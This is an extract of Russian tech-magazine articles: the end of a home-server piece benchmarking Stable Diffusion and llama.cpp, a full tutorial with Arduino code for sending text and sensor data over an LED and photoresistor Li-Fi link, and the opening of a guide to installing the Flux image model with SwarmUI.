замахнуться на большое разрешение, но практического смысла в этом нет.

Запустить Stable Diffusion на CPU можно вот такой командой:
./webui.sh --listen --use-cpu all --precision full --no-half -

-skip-torch-cuda-test
Короче, запускаем на  GPU, работаем с  разрешением  512 × 512  и  раду‐

емся жизни без встроенных разработчиком нейронки цензуры и ограничений.
Главное  — не  всматриваться в  эти картинки слишком сильно и  не перес‐
читывать пальцы!

Пример изображения

LLM
А эта тема, пожалуй, даже интереснее. Наша машина выглядит вполне под‐
ходящей, чтобы попробовать запустить большую языковую модель, операти‐
вы у нас с избытком, пропускная способность тоже хорошая. Несмотря на то
что мы используем относительно старую DDR4 2400, за счет 2 × 4 каналов мы
получаем  2 × 76,8  Гбайт/с. Короче, стоит попробовать. Качаем с  GitHub
исходники  и собираем две версии — для CPU и GPU.llama.cpp

git clone https://github.com/ggerganov/llama.cpp

cd llama.cpp

# Для CPU
$make
# Для GPU

 1
$make GGML_CUDA=

Еще нам понадобятся сами модели. Больше всего мне понравились
,  и  она же, но  побольше  —

.
OpenChat 3.5 Deepseek Coder 6.7B Instruct
Deepseek Coder 33B Instruct

Первая модель, универсальный текстогенератор, ориентирована
на английский язык, но с русским тоже неплохо справляется, а две последние
натренированы на генерацию кода, проверял их на C и Python, справляются
они хорошо. Запускать их можно в двух вариантах: в чисто консольном виде
(llama-cli) и  в режиме сервера (llama-server). Кстати, в  отличие
от  AUTOMATIC1111  эти бинарники самодостаточны и  после сборки их можно
перемещать куда угодно.

Если сравнивать быстродействие, то на  видеокарте модели работают
заметно шустрее, но  есть нюанс: заметный прирост в  скорости получается,
если поместить всю модель в видеопамять, а она у нас ограничена 12 Гбайт.
Итак, тесты!

CPU
 ./bin/llama-cli -m deepseek-coder-33b-instruct.Q5_K_M.gguf -p

"Напиши функцию сортировки строк пузырьком на C."

Результат: 2,22 токена в секунду. Работает не быстро, но терпимо: пока отве‐
чает, чай допить, пожалуй, не успеешь (если с чувством пить, конечно).

 ./bin/llama-cli -m deepseek-coder-6.7b-instruct.Q5_K_M.gguf -p
"Напиши функцию сортировки строк пузырьком на C."

Результат: 9,80 токена в секунду. А вот это уже бодренько!

 ./bin/llama-cli -m openchat_3.5.Q5_K_M.gguf -p "Напиши функцию 
сортировки строк пузырьком на C."

Результат: 10,15 токена в секунду. Тоже хорошо.

GPU
 ./llama-cli-gpu -m deepseek-coder-33b-instruct.Q5_K_M.gguf -p

"Напиши функцию сортировки строк пузырьком на C."

Результат: 2,26 токена в секунду.

 ./llama-cli-gpu -m deepseek-coder-6.7b-instruct.Q5_K_M.gguf -p
"Напиши функцию сортировки строк пузырьком на C."

Результат: 10,76 токена в секунду.

 ./llama-cli-gpu -m openchat_3.5.Q5_K_M.gguf -p "Напиши функцию 
сортировки строк пузырьком на C."

Результат: 9,96 токена в секунду.
А теперь поместим модель в память GPU, насколько это возможно.

 21  ./llama-cli-gpu -m deepseek-coder-33b-instruct.Q5_K_M.gguf -ngl -p
"Напиши функцию сортировки строк пузырьком на C."

Результат: 3,10 токена в секунду.

 24 
 

./llama-cli-gpu -m deepseek-coder-6.7b-instruct.Q5_K_M.gguf -ngl
-p "Напиши функцию сортировки строк пузырьком на C."

Результат: 22,88 токена в секунду.

 33  ./llama-cli-gpu -m openchat_3.5.Q5_K_M.gguf -ngl -p "Напиши 
функцию сортировки строк пузырьком на C."

Результат: 39,19 токена в секунду.
В последнем случае скорость просто фантастическая!
В целом LLM чувствуют себя хорошо, особенно на видеокарте, тем более

если все слои удается запихать в память GPU, что, увы, получается не всегда.
Превосходство GPU над  CPU тут, конечно, поскромнее, чем в  бруте, но  все
равно в разы. А дело, видимо, в том, что узкое место — пропускная способ‐
ность памяти. По  личным впечатлениям: если запускать OpenChat 3.5, как  в
последнем примере, то работать с ним вполне комфортно.

ВЫВОДЫ

Получился очень недорогой и  приличный расчетный сервер. Да, пришлось
местами подпилить корпус и понадобится специальный скрипт или даже пла‐
та для  контроля скорости вентиляторов, но  все это  относительно несложно
организовать.

Благодаря видеокарте можно и  с нейросетями поиграть. Если для  тебя
это  основное использование, то карту можно взять покруче, а  вот на  опе‐
ративной памяти можешь сэкономить — 128 Гбайт хватит с запасом.

К несчастью, потенциал для апгрейда сильно ограничен, но еще несколь‐
ко лет машина точно побегает. В  общем, если ищешь вариант подешевле
и помощнее, то RD450X однозначно заслуживает внимания.

https://xakep.ru/2024/05/03/cooling-controller/
https://www.cnblogs.com/spaceship9/p/17975866
https://wiki.archlinux.org/title/EFISTUB
https://wiki.archlinux.org/title/Main_page
https://xakep.ru/2024/02/20/high-spec-pc/
https://aur.archlinux.org/packages/intel-opencl-runtime
https://xakep.ru/2024/01/24/sdxl-fooocus/
https://xakep.ru/2024/03/14/sdxl-fine-tuning/
https://xakep.ru/2024/07/16/stable-diffusion-reforge/
https://github.com/AUTOMATIC1111/stable-diffusion-webui
https://aur.archlinux.org/packages/python310
https://huggingface.co/serta21/lyriel_v16
https://huggingface.co/Yntec/Chip_n_DallE
https://github.com/ggerganov/llama.cpp
https://huggingface.co/TheBloke/openchat_3.5-GGUF
https://huggingface.co/TheBloke/deepseek-coder-6.7B-instruct-GGUF
https://huggingface.co/TheBloke/deepseek-coder-33B-instruct-GGUF
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GEEK

Представь, что каждая лампочка в  твоей
квартире — это мощный источник интерне‐
та, по скорости в сотню раз превышающий
современный Wi-Fi. Полминуты стоишь
под  ней, и  вот уже скачалось обновление
для  Genshin Impact, можешь играть. Фан‐
тастика? Нет, будущее! В  этой статье раз‐
берем, что такое Li-Fi и как самому собрать
такую систему на основе двух плат Arduino.

ИК-ПОРТ НА МАКСИМАЛКАХ

Для начала разберем, что такое этот «лай‑фай». Название, созвучное с при‐
вычным нам Wi-Fi, расшифровывается как Light Fidelity. Из названия понятно,
что ключевую роль тут играет свет. Что мы знаем о свете? Свет распростра‐
няется очень быстро, так что если использовать его в качестве канала связи,
то и  данные будут передаваться с  прекрасной скоростью. Об  этом как‑то
задумались ученые чуть больше десятка лет назад и разработали технологию
беспроводной связи, по  которой данные передаются с  помощью света
от комнатных источников освещения. В представлении исследователей каж‐
дая лампочка в доме могла бы стать источником связи.

Минута под лампочкой, и десятки гигабайт данных отправлены

INFO

Про светодиоды, как  и про  остальную электро‐
нику, я уже неоднократно рассказывал в 

. Также в  последней мы собрали устрой‐
ство для  снятия 
светодиода, а  в этой будем передавать с  него
данные на  другой микроконтроллер с  помощью
Li-Fi.

прошлых
статьях

вольт‑амперной характеристики

Как ты уже знаешь из  моих статей, благодаря широтно‑импульсной модуля‐
ции мы можем настолько быстро переключать состояния светодиода, что
человеческому глазу не  под силу это  заметить, зато оптическому сенсору,
отвечающему за прием сигнала, — вполне.

Li-Fi использует технологию visible light communications, связь по видимому
свету. Свет преобразуется в  электронный сигнал, а  затем сигнал обратно
превращается в данные. Для реализации этой системы в лампы необходимо
внедрить чип, который будет незаметно для  человеческого глаза модули‐
ровать свет и таким образом передавать данные, которые будут считаны при‐
емником с фотоэлементом. Такая схема потенциально может обогнать Wi-Fi
раз в сто.

Так почему же, сколько ни  стой под  лампочкой с  телефоном, никакого
ускорения интернета не  будет? Почему такую крутую систему еще  не внед‐
рили? К сожалению, у красивой сказки есть темная сторона. У Li-Fi, несмотря
на все его плюсы, немало и минусов.

Как ты мог догадаться, покрытие у  Li-Fi куда меньше, чем у  радиоволн.
В доме понадобится много подключенных к интернету ламочек, а заглядыва‐
ющее в  окно солнышко наводит такие помехи, что никакой «Геншин»
обновлять уже не  выйдет. Совсем другое дело, если  бы пользователь жил
в бункере или еще каком‑то помещении без окон. Я ведь предупреждал, что
это технология будущего?

Пока же по перечисленным причинам Li-Fi внедрять не торопятся. Но мы
исправим это, собрав собственные приемник и передатчик. Пока что работа‐
ющие в чисто лабораторных условиях. Но зато на легко доступных компонен‐
тах и с простым софтом, который мы напишем по ходу дела.

АРХИТЕКТУРА LI-FI

В основе нашей системы два элемента: яркий светодиод, который будет
источником передачи данных, и приемный фотодиод с хорошей чувствитель‐
ностью. Это нужно, чтобы зафиксировать все мелкие модуляции излучателя.

Схема архитектуры Li-Fi

ОЧУМЕЛЫЕ РУЧКИ

Пришло время расчехлять свои электронные компоненты, микроконтроллеры
и  прочие прибамбасы. Для  нашей системы потребуется две платы. Первая
будет источником, который передает данные с помощью светодиода, а дру‐
гая — приемником, получающим эти данные с помощью фоторезистора. Так
же как  и в  прошлой статье, где мы уже вспоминали про  эти компоненты,
в  качестве микроконтроллера будем использовать нашего верного желез‐
ного коня — Arduino.

Для начала давай соберем базовый набор, с которым протестируем воз‐
можности нашего самодельного Li-Fi. Нам понадобятся следующие ком‐
поненты:

две платы Arduino Uno, Nano или любые, какие найдешь;•
светодиод;•
фоторезистор;•
резистор 220 Ом для светодиода (не хотим же мы его спалить?);•
резистор 10 кОм для фоторезистора;•
проводочки;•
макетная плата, на которой будем собирать проект.•

В общем‑то, здесь ничего хитрого нет. К передающей плате подключим све‐
тодиод через резистор к какому‑нибудь пину с ШИМ — например, к девято‐
му. Ну а минус светодиода, понятное дело, к минусу платы.

На плате‑приемнике один конец фоторезистора подключим к питанию 5 В,
другой через резистор  10  кОм соединим с  землей, а  точку между фото-
и обычным резистором — с аналоговым пином на второй Arduino, например
А0.

Схема

Не забудь про важный нюанс. Светодиод источника необходимо расположить
прямо в упор к фоторезистору. Это, конечно, снижает полезность нашей сис‐
темы, но это лишь экспериментальный прототип.

ПЕРВОЕ ВКЛЮЧЕНИЕ

Для проверки работы компонентов протестируем такую программу. Источник
отправит сигнал, а приемник его зафиксирует и выведет на монитор порта.

Код для передатчика:

   int ledPin = 9;

  void setup() {
 // Определяем пин со светодиодом в режим выхода
  pinMode(ledPin, OUTPUT);
}

  void loop() {
 // Включить светодиод
  digitalWrite(ledPin, HIGH);
 // Задержка одна секунда
 delay(1000);
 // Выключить светодиод
  digitalWrite(ledPin, LOW);
 // Задержка одна секунда
 delay(1000);
}

Код для приемника:

   int sensorPin = A0;
   int sensorValue = 0;

// Встроенный светодиод. Да, в «Ардуино» уже есть впаянный на 13-м 
пине маленький светодиод, который можно использовать для индикации

   int ledPin = 13;

  void setup() {
  pinMode(ledPin, OUTPUT);
 // Настраиваем монитор порта
 Serial.begin(9600);
}

  void loop() {
 // Считываем сигнал с фоторезистора
   sensorValue = analogRead(sensorPin);
 // Если световой сигнал достаточно сильный
     if (sensorValue > 512) {
   // Включить встроенный светодиод
    digitalWrite(ledPin, HIGH);
   } else {
   // Выключить светодиод
    digitalWrite(ledPin, LOW);
 }
 delay(10);
}

В этом примере передающая плата включает и выключает светодиод каждую
секунду, а принимающая плата улавливает изменение освещенности и вклю‐
чает свой встроенный светодиод. Аналоговый сигнал в  Arduino измеряется
от  0  до  1023. Соответственно, принимая сигнал, мы можем прикинуть, что
если он выше половины возможного значения, то светодиод горит.

HELLO, WORLD

Передача сигналов светом таким образом напоминает азбуку Морзе,
не правда ли? В целом довольно легко закодировать сообщение морзянкой
и  передать его таким способом. Если хочешь, реализуй это  в качестве
домашнего задания, заодно попрактикуешься в электронике и микроконтрол‐
лерах. Если Arduino у тебя еще нет, можешь использовать .Tinkercad

А мы пойдем дальше и  сразу передадим текст. Это  можно сделать раз‐
ными способами: например, занести в базу приемника алфавит и задать вре‐
мя излучения для каждого символа. Например, включаем светодиод на 10 мс,
приемник расшифрует А, на 20 мс — Б и так далее. Но как будто это не наш
уровень, поэтому мы копнем глубже. Для  передачи текстовых данных будем
модулировать свет таким образом, чтобы передавалась последовательность
битов, соответствующая символам текста.

МОДУЛЯЦИЯ СВЕТА

Каждый байт сообщения мы в  цикле передаем функции, которая отвечает
за  отправку. Внутри он раскладывается на  значения битов, которые и  прев‐
ращаются в  мигание светодиода. Посланный таким образом сигнал будет
соответствовать значению байта.

Чтобы приемник всегда мог понять, где начало, а где конец нашего потока
информации, начало пакета данных обозначим как 0, а в конце будет идти 1.
С  помощью команды задержки  будем отделять биты друг от  друга,
отбивать каждый символ, а также задавать начало и конец пакета. В зависи‐
мости от  скорости работы принимающего устройства эти задержки можно
менять.

delay

Пример передачи данных

ВОЗВРАЩАЕМСЯ К ПЕРЕДАЧЕ ТЕКСТА

Давай набросаем код для передачи строки.
Код для передатчика:

   int ledPin = 9;
   String message = "HELLO HACKER";

  void setup() {
 // Определяем пин со светодиодом в режим выхода
  pinMode(ledPin, OUTPUT);
}

   void sendChar(char c) {
          for (int i = 0; i < 8; i++) {
      if (bitRead(c, i)) {
     // Включаем светодиод

      digitalWrite(ledPin, HIGH);
     } else {
     // Выключаем

      digitalWrite(ledPin, LOW);
   }
   // Задержка в 200 мс для каждого бита
   delay(200);
 }
}

  void loop() {
          for (int i = 0; i < message.length(); i++) {
   sendChar(message[i]);
   // Задержка между символами
   delay(1000);
 }
 // Задержка перед повтором
 delay(5000);
}

Код для приемника:

   int sensorPin = A0;
   int sensorValue = 0;
   char receivedChar = 0;

  void setup() {
 Serial.begin(9600);
}

  char receiveChar() {
    char c = 0;
          for (int i = 0; i < 8; i++) {
     sensorValue = analogRead(sensorPin);
       if (sensorValue > 512) {

      bitSet(c, i);
   }
   // Задержка синхронизации с передатчиком
   delay(200);
 }
  return c;
}

  void loop() {
   receivedChar = receiveChar();
 Serial.print(receivedChar);
 // Задержка перед приемом следующего символа
 delay(1000);
}

Открываем монитор порта Arduino и  действительно видим, как  с нами здо‐
роваются. Передающая плата отправляет текст по одному символу, преобра‐
зуя их в  бинарные коды и  передавая в  виде световых импульсов. Принима‐
ющая плата считывает эти бинарные данные и преобразует обратно в текст.

ЦИФРОВОЙ ПОТОК — ПЕРЕДАЧА ЧИСЕЛ

Хотелось  бы передавать что‑нибудь полезное, а  не просто проверочные
строки. Мы можем подключить к  аналоговому пину источника какой‑нибудь
датчик, например еще  один фоторезистор, и  слать полученные им данные
на вторую плату. Для числовых значений вполне подойдет тот же принцип, что
мы использовали для строки.

Код для передатчика:

   int ledPin = 9;
// Пример числового значения

   int sensorValue = 3301;

  void setup() {
  pinMode(ledPin, OUTPUT);
}

   void sendInt(int value) {
          for (int i = 0; i < 16; i++) {
      if (bitRead(value, i)) {

      digitalWrite(ledPin, HIGH);
     } else {

      digitalWrite(ledPin, LOW);
   }
   // Задержка для каждого бита
   delay(200);
 }
}

  void loop() {
 sendInt(sensorValue);
 // Задержка перед повтором
 delay(5000);
}

Код для приемника:

   int sensorPin = A0;
   int sensorValue = 0;
   int receivedValue = 0;

  void setup() {
 Serial.begin(9600);
}

  int receiveInt() {
    int value = 0;
          for (int i = 0; i < 16; i++) {
     sensorValue = analogRead(sensorPin);
       if (sensorValue > 512) {

      bitSet(value, i);
   }
   // Задержка синхронизации с передатчиком
   delay(200);
 }
  return value;
}

  void loop() {
   receivedValue = receiveInt();
 Serial.println(receivedValue);
 // Задержка перед приемом следующего значения
 delay(1000);
}

В этом примере передающая плата отправляет числовое значение 3301, пре‐
образуя его в бинарный код и передавая его через свет. Принимающая плата
считывает эти бинарные данные и преобразует их обратно в число. Все прос‐
то и работает. Это ли не круто?

Продолжение статьи
→

mailto:7753313vv@gmail.com
https://xakep.ru/author/prostorosty/
https://xakep.ru/2024/07/19/current-voltage/
https://www.tinkercad.com/


СВЯЗЬ СО СКОРОСТЬЮ

СВЕТА
СОБИРАЕМ ПЕРЕДАТЧИК LI-FI

НА ARDUINO

GEEK 
НАЧАЛО СТАТЬИ←

ПЕРЕДАЧА ГРАФИКОВ ВАХ ПО LI-FI

Если ты читал мою прошлую статью «
», то знаешь, что в ней мы собрали

устройство, считывающее вольт‑амперную характеристику светодиода
и  выводящее ее в  виде графиков. Теперь давай попробуем отправить соб‐
ранные нашей установкой данные с помощью Li-Fi, который мы уже, считай,
приручили.

Измеряем вольт‑амперную характерис‐
тику полупроводника при помощи Arduino

Передатчик ВАХ по Li-Fi

Итак, наша плата измеряет падение напряжения и силы тока на светодиоде
(по которым строит ВАХ), а  также интенсивность его свечения с  помощью
фоторезистора. О  готовности к  отправке данных она сигнализирует вторым
светодиодом, а  сама отправка происходит после нажатия на  кнопку. После
этого программа строит графики в мониторе порта.

Для добавления в  проект передатчика Li-Fi нам понадобится установить
еще один светодиод для передачи данных и подключить вторую плату Arduino
с  фоторезистором  — для  приема информации. В  итоге схема будет выг‐
лядеть следующим образом.

Схема передатчика ВАХ по Li-Fi

Теперь надо добавить нашу функцию отправки в  изначальную программу
источника, а  также вызвать ее во  всех местах, где нужно отправить данные.
Чтобы было что отправлять, будем не только выводить данные в монитор пор‐
та, но и собирать их все в строку. После каждой отправки данные будем обну‐
лять, чтобы у Arduino не переполнился кеш.

Код для источника:

 int a;
       float c, d, e, f, g, j, m;
   float c1, d1, e1;

  int k, l;
 float b[256][3];
 String x;

 int y;

  void setup() {
 delay(4000);
 Serial.begin(9600);
  pinMode(2, OUTPUT);
  pinMode(3, INPUT);
  pinMode(4, OUTPUT);
  pinMode(5, OUTPUT);
  pinMode(A0, INPUT);
  pinMode(A1, INPUT);
  pinMode(A2, INPUT);
  analogWrite(2, a);
  digitalWrite(4, 0);
 delay(100);
 analogReference(DEFAULT);
   f = analogRead(A2);
   g = f;
          for (int i = 0; i <= 1000; i++) {
     m = analogRead(A2);
      f = max(f, m);
      g = min(g, m);
 }
       j = (f + g) / 2;
}

   void otpravka(char q) {
  digitalWrite(5, 0);
 delay(15);
          for (int i = 0; i < 8; i++) {
     digitalWrite(5, (bitRead(q, i)));
   delay(15);
 }
  digitalWrite(5, 1);
 delay(15);
}

  void loop() {
     if (a <= 255) {
    analogWrite(2, a);
   delay(100);
            for (int i = 0; i <= 100; i++) {

       c1 = analogRead(A0);
       d1 = analogRead(A1);
         e1 = analogRead(A2) - j;
        c = max(c, c1);
        d = max(d, d1);
        e = max(e, e1);

   }
           b[a][0] = ((5 * (c - d)) / 1023);
             b[a][1] = ((((d / 1023) * 5) / 295) * 1000000);
     b[a][2] = e;
       a = a + 1;
       } else if (a > 255) {
    digitalWrite(4, 1);
       if (digitalRead(3) == 1) {

      digitalWrite(4, 0);
         if (k == 0) {

       Serial.println("Вывод_падения_напряжения_В");
                for (int i = 0; i <= 255; i++) {

         Serial.println(b[i][0]);
       }

                for (int i = 0; i <= 244; i++) {
         Serial.println(0);
       }

         k = 1;
        digitalWrite(4, 1);

           } else if (k == 1) {
       Serial.println("Вывод_силы_тока_мкА");

                for (int i = 0; i <= 255; i++) {
         Serial.println(b[i][1]);
       }

                for (int i = 0; i <= 244; i++) {
         Serial.println(0);
       }

         k = 2;
        digitalWrite(4, 1);

           } else if (k == 2) {
       Serial.println("Интенсивность_света");

                for (int i = 0; i <= 255; i++) {
         Serial.println(b[i][2]);
       }

                for (int i = 0; i <= 244; i++) {
         Serial.println(0);
       }

         k = 3;
        digitalWrite(4, 1);
        digitalWrite(5, 1);

       delay(15);
           } else if (k == 3) {
         x = "";

        digitalWrite(53, 1);
       Serial.print("мкА_на_");

         x += "мкА_на_";
        Serial.print((b[255][0]), 2);

         x += (b[255][0]);
       Serial.println("/255_В");

         x += "/255_В: ";
                for (int i = 0; i <= 255; i++) {

         Serial.println(b[i][1]);
           x += (b[i][1]);
           x += " ";

       }
                for (int i = 0; i <= 244; i++) {

         Serial.println(0);
           x += 0;
           x += " ";

       }
         y = x.length();

                for (int i = 0; i < y; i++) {
         otpravka(x[i]);
       }

         k = 4;
        digitalWrite(4, 1);

           } else if (k == 4) {
         x = "";

                for (int i = 0; i <= 255; i++) {
             if (b[i][1] > b[20][1]) {
             l = i;

           break;
         }
       }
       Serial.print("относительная_интенсивность_на_");

         x += "относительная_интенсивность_на_";
          Serial.print(((b[255][1]) - b[10][1]), 2);

           x += ((b[255][1]) - b[10][1]);
       Serial.print("/");

         x += "/";
         Serial.print((255 - l));

           x += (255 - l);
       Serial.println("_мкА");

         x += "_мкА: ";
                for (int i = l; i <= 255; i++) {

         Serial.println(b[i][2]);
           x += (b[i][2]);
           x += " ";

       }
                    for (int i = 0; i <= (500 - 255 + l); i++) {

         Serial.println(0);
           x += 0;
           x += " ";

       }
         y = x.length();

                for (int i = 0; i < y; i++) {
         otpravka(x[i]);
       }

         k = 3;
        digitalWrite(4, 1);

     }
   }
 }
}

Ты можешь заметить, что сигнал, который мы передадим с  первого модуля,
будет выглядеть не  слишком аккуратным и  прямоугольным, так как  мы
передаем его через светодиод, а  сам светодиод имеет нелинейную
вольт‑амперную характеристику (можешь посмотреть в  прошлой статье,
как  это выглядит), да  и фоторезистор приемника может быть некачествен‐
ным.

Пример реальных данных после передачи

Переходим к  программированию приемника. Он должен принять данные
с источника, расшифровать их и преобразовать в графики.

В начале обозначим переменные для  записи данных по  одному байту,
а  также для  отслеживания стартового и  конечного битов и  для операций
с шумами. После инициализации порта и пинов запускаем цикл для установки
среднего значения шумов. Помех при нашем способе передачи будет поряд‐
ком!

Если мы оставим аналоговый сигнал, получаемый с фоторезистора таким
же несимметричным, каким мы его получили, это  приведет к  сдвигу по  вре‐
мени считывания данных. Из‑за этого наша ценная информация превратится
в  мусор. Поэтому, чтобы сделать сигнал более симметричным, необходимо
написать функцию, которая будет приводить его в прямоугольный вид.

Прямоугольный сигнал

Код для приемника:

 char c;
  boolean a, b;

    float f, g, j, m;

  void setup() {
   Serial.begin(9600);
    pinMode(A0, INPUT);
     f = analogRead(A0);
     g = f;
            for (int i = 0; i <= 1000; i++) {

         m = analogRead(A0);
          f = max(f, m);
          g = min(g, m);

   }
         j = (f + g) / 2;
}

  void loop() {
     a = bit_();
           if (a == 0 && b == 1) {
       delay(15);

                for (int i = 0; i < 8; i++) {
             bitWrite(c, i, bit_());

           delay(15);
       }

           if (c == ' ') {
           Serial.print("\n");

         } else {
           Serial.print(c);
       }
   }
     b = a;
}

  boolean bit_() {
            return analogRead(A0) > (j + 100) ? true : false;
}

Основная программа считывает цифровой сигнал и  сравнивает его с  пре‐
дыдущим значением, и  если сигналы соответствуют, то запускается запись
данных. После записи бита он отправляется в  монитор порта. И  если
попадется бит пробела, то он превратится в  символ переноса строки
для  COM-порта. Благодаря этому программа может автоматически строить
графики в плоттере второго модуля.

В итоге мы действительно получим графики ВАХ и  интенсивности све‐
чения светодиода в плоттере порта второй платы. Li-Fi пашет!

Полученные графики

ВЫВОДЫ

Сегодня мы собрали целую инновационную систему передачи данных из двух
полупроводников — светодиода и фоторезистора. Конечно, Li-Fi как способ
передачи данных, скорость которого в  сотню раз опережает Wi-Fi, звучит
заманчиво, но массовой реализации на горизонте пока не видно. Применять
Li-Fi можно было  бы для  управления роботами на  складе или, например,
в самолетах — ведь он не создает радиопомех. Ну или, в конце концов, мож‐
но обеспечить самым быстрым интернетом свой туалет! Теперь у  тебя есть
все необходимые знания, чтобы реализовать это.

https://xakep.ru/2024/07/19/current-voltage/
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Компания , основанная
выходцами из  Stability AI (разработчик
Stable Diffusion), без  предварительных
анонсов выпустила новую модель генера‐
тивного искусственного интеллекта Flux.
Релиз взорвал сообщество генеративного
ИИ: все разговоры теперь только о  новой
модели. И она того стоит! Давай разберем‐
ся, как  ее использовать и  на что она спо‐
собна.

Black Forest Labs

ЧТО ЗА FLUX?

Flux  — новейшая базовая модель (а точнее  — семейство моделей) генера‐
тивного искусственного интеллекта для создания изображений по текстовым
описаниям. Flux, созданный покинувшими компанию Stability AI разработ‐
чиками, уже предлагает все то, что должна была обеспечить архитектура
Stable Diffusion 3, которая до сих пор в подвешенном состоянии.

Модель Flux отличается новым текстовым декодером с  12  миллиардами
параметров, что позволяет ей намного увереннее распознавать запросы
и точнее следовать им. При обучении модели не было той жесткой цензуры,
которая привела к практически полной неработоспособности Stable Diffusion
3 Medium; в  результате позы людей у  Flux выглядят более естественными.
С количеством пальцев на руках дело стало лучше, но проблема побеждена
не  до конца; добавлена работа с  текстом на  изображениях  — то, что заяв‐
лялось как принципиальное отличие Stable Diffusion 3.

Модель существует в трех вариантах:
FLUX.1 [pro]  — полная версия модели, доступная только через API. Да,
разработчики тоже хотят кушать, а их инвесторы — получить прибыль;

•

FLUX.1 [dev] — самая крупная модель с 12 миллиардами параметров, дос‐
тупная для  локальной установки. Модель открытая, весовые коэффици‐
енты доступны для скачивания и дальнейшего обучения, но с оговорками:
лицензия на эту модель ; возможность коммерческого

использования оговаривается отдельно;

•

некоммерческая

FLUX.1 [schnell] — дистиллированная турбо‑версия модели, позволяющая
создавать изображения всего за  четыре шага. Эта модель распростра‐
няется по лицензии Apache 2.0, но обучить ее производные, скорее всего,
не получится в силу технических ограничений.

•

Нас интересуют две последние модели — dev и schnell.

А кто разработчики?
О том, что  состоит из  выходцев из  Stability AI, не  написал
только ленивый. Эта команда разработчиков стояла у  истоков технологии
латентной диффузии, впоследствии покинув Stability AI и  основав собствен‐
ную компанию. На Reddit есть немного .

Black Forest Labs

дополнительной информации

ВОЗМОЖНОСТИ FLUX

Flux — гигантская по современным меркам модель, способная воспринимать
огромное количество концепций и  рисовать в  широком диапазоне стилей.
На  словах это  мало отличается от  возможностей моделей SDXL, особенно
с учетом многочисленных ремиксов и лор. На деле же результаты работы Flux
поражают. И ведь это только первая версия базовой модели на основе новой
архитектуры. Улучшения наверняка на очереди.

Модель способна работать с текстом, то есть добавлять на картинки над‐
писи в  точности, как  просили. Кстати, обрати внимание на  очки  — слабое
место SDXL.

Flux неплохо понимает необычные концепции.

Способна воспроизводить уличные сценки (обрати внимание на  руки;
это исходная генерация без использования восстанавливающих моделей).

Выдает кадры из псевдоисторических голливудских фильмов (на руке с пер‐
вой попытки — пять пальцев; незамутненное счастье).

И даже рисует иллюстрации для детских книг.

Для всего этого разнообразия не  потребовалось ни  «бросания костей»
в виде многочисленных попыток генерации, ни поиска и скачивания соответс‐
твующих лор.

Хочешь попробовать новую модель на  своем компьютере?
Ни AUTOMATIC1111, ни WebUI Forge для этого не подойдут. На момент написа‐
ния статьи единственный софт, поддерживающий Flux, — ComfyUI или он же
с оболочкой SwarmUI.

Дальше мы рассмотрим продвинутый инструментарий, позволяющий
не только получить доступ к большому числу тонких настроек нейросети, но и
автоматизировать генерацию высококачественных изображений.

Читай также
Ранее мы уже изучили базовые возможности Stable Diffusion и 

, рассмотрели несколько базовых моделей и 
 в приложении Fooocus. Это при‐

ложение прекрасно подходит для начала работы, позволяя сразу же получить
красивые изображения, но  довольно скоро пользователь упирается
в  потолок. В  Fooocus нет возможности сразу генерировать картинки
в  высоком разрешении или  автоматически исправлять проблемы с  руками
и  лицами; для  этого существуют более продвинутые, но  и намного более
сложные в использовании варианты, один из которых мы будем изучать. А в

 мы разобрались еще с одним продвинутым интерфейсом —
WebUI reForge.

установку ней‐
росети на компьютер научились
работать с лорами, стилями и рефайнерами

прошлой статье

COMFY И SWARMUI

ComfyUI  — одновременно и  бэкенд, то есть движок, и  фронтенд, то есть
интерфейс, для  генерации изображений по  текстовым описаниям. Движок
Comfy  — один из  лучших, а  управление памятью, пожалуй, лучшее из  име‐
ющегося на  сегодняшний день. В  то же время интерфейс ComfyUI своеоб‐
разен, сложен в освоении и нравится не всем. Ниже — пример простейшей
настройки генерации в Comfy с использованием модели SDXL и рефайнера.

Усложнение условий генерации усложняет и  диаграмму. Впрочем, у  такого
подхода есть и положительные стороны: полный доступ ко всем внутреннос‐
тям движка и  возможность как  сохранять, так и  скачивать готовые диаг‐
раммы‑воркфлоу, позволяющие буквально в несколько кликов повторить то,
на создание чего у автора диаграммы ушли многие часы работы.

Если же тебе хочется чего‑то более привычного, то на  помощь придет
SwarmUI  — оболочка для  Comfy, интерфейс которой очень похож на  A1111.
SwarmUI — продукт очередного выходца из Stability AI (интересно, там вооб‐
ще кто‑нибудь остался?). Его место среди прочих интерфейсов можно опи‐
сать так:

 — простой продукт для начинающих;• Fooocus

 — «классический» WebUI, апстрим для разнообразных

форков;

• AUTOMATIC1111

 — форк AUTOMATIC1111 с более высокой скоростью работы
и  оптимизированным механизмом работы с  видеопамятью. На  данный
момент ведется активная разработка, репозиторий в статусе эксперимен‐
тального; в  продукте будут отрабатываться новые технологии  —
от интерфейса Gradio 4 до нового движка;

• WebUI Forge

  — активный форк WebUI Forge, в  котором присутствуют

как оптимизации Forge, так и новинки из AUTOMATIC1111 и ComfyUI;

• WebUI reForge

  — мощный и  отлично оптимизированный продукт с  самой
широкой совместимостью с  различными технологиями диффузии.
Интерфейс в стиле блок‑схем — не для всех;

• ComfyUI

 — оболочка для Comfy, напоминающая WebUI. «Вы находитесь
здесь!»

• SwarmUI

УСТАНОВКА И НАЧАЛО РАБОТЫ

SwarmUI сейчас имеет статус бета‑версии и  активно разрабатывается.
Готового файла для  скачивания пока нет; для  установки SwarmUI в  Windows
тебе придется самостоятельно установить:

менеджер пакетов  из  ;• WinGet Microsoft Store
;• Git для Windows

DotNet 8 SDK с  .• сайта Microsoft

После этого  .bat-файл установщика и запусти его. Дистрибутив уста‐
новится в  папку SwarmUI. В  процессе установки скачается и  распакуется
архив с портативной версией Comfy, который используется в качестве движ‐
ка.

скачай

Пока не спеши ничего запускать; для работы с Flux тебе придется скачать
еще  несколько файлов. Процесс описан в   в  разделе Black
Forest Labs’ Flux.1 Models.

документации

Для начала определись, какую версию Flux ты хочешь установить. Дос‐
тупны следующие варианты:

;• полная 16-битная версия FLUX.1 (dev)
;• 16-битная турбо‑версия FLUX.1 (schnell)

;• 8-битная версия FLUX.1(dev)
.• 8-битная версия FLUX.1 (schnell)

16-битные версии хорошо подойдут к видеокартам с минимальным объемом
видеопамяти 16 Гбайт, при этом полная версия требует двадцати или более
шагов генерации, а «турбо» — ровно четыре шага. Эти модели нужно сложить
в папку .(Swarm)/Models/unet

8-битные версии подходят для  видеокарт с  12  Гбайт видеопамяти
и  менее. Качество по  сравнению с  16-битными моделями страдает нез‐
начительно. Эти модели нужно класть в  папку 

.
(Swarm)/Models/Stable-

Diffusion
После этого нужно скачать VAE (файл ) из 

 и положить его в папку .

